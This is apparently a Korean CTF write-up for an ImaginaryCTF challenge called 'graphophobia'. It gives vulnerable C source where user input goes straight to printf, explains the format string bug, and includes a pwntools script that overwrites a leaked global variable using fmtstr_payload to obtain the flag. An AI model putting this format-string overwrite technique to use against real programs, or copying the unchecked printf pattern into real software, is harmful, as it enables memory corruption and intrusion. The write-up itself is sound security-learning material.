반응형
문제 풀이 환경 : Ubuntu 20.04
📝 Analysis
<< Mitigation >>
<< Code >>
· main
#include <stdio.h>
#include <stdlib.h>
int password = 0x65706f6e;
int main() {
setbuf(stdout, NULL);
printf("The password is at %p\n\n", &password);
puts("What's your name?");
char name[100];
fgets(name, 100, stdin);
printf("Hi, ");
printf(name);
printf("!\n");
if (password == 0x87654321) {
puts("Winner!");
FILE* f = fopen("flag.txt", "r");
fscanf(f, "%s", name);
fclose(f);
puts(name);
} else {
printf("Sorry, you entered the password %08x...\n", password);
}
}
처음에 pie로 랜덤하게 바뀌는 전역 변수 password의 주소를 가르쳐주고, name을 입력하게 한다.
입력한 name의 값은 FSB(Format String Bug)로 이용할 수 있다.
🧩 Exploit Scenario
1. password의 주소를 얻는다.
2. FSB로 password의 값을 0x87654321로 바꾼다.
🚩 Flag 🚩
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# p = process('./graphophobia')
p = remote('puzzler7.imaginaryctf.org', 8000)
p.recvuntil(b'at ')
password = int(p.recvline(), 16)
success(f'password: {hex(password)}')
fsb = fmtstr_payload(6, {password: 0x87654321})
p.sendlineafter(b'?\n', fsb)
p.interactive()
반응형